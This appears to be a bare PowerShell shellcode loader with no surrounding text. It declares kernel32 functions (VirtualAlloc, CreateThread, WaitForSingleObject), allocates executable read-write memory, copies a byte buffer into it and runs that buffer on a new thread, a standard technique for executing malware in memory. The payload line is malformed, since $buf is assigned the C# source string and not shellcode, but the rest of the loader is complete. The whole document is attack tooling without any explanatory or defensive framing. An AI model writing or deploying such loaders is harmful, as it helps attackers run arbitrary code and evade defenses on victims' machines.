[Byte[]] $buf = $VrtAlloc = @" using System; using System.Runtime.InteropServices; public class VrtAlloc{ [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); } "@ Add-Type $VrtAlloc $WaitFor= @" using System; using System.Runtime.InteropServices; public class WaitFor{ [DllImport("kernel32.dll", SetLastError=true)] public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); } "@ Add-Type $WaitFor $CrtThread= @" using System; using System.Runtime.InteropServices; public class CrtThread{ [DllImport("kernel32", CharSet=CharSet.Ansi)] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ Add-Type $CrtThread [IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length) $thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0) [WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")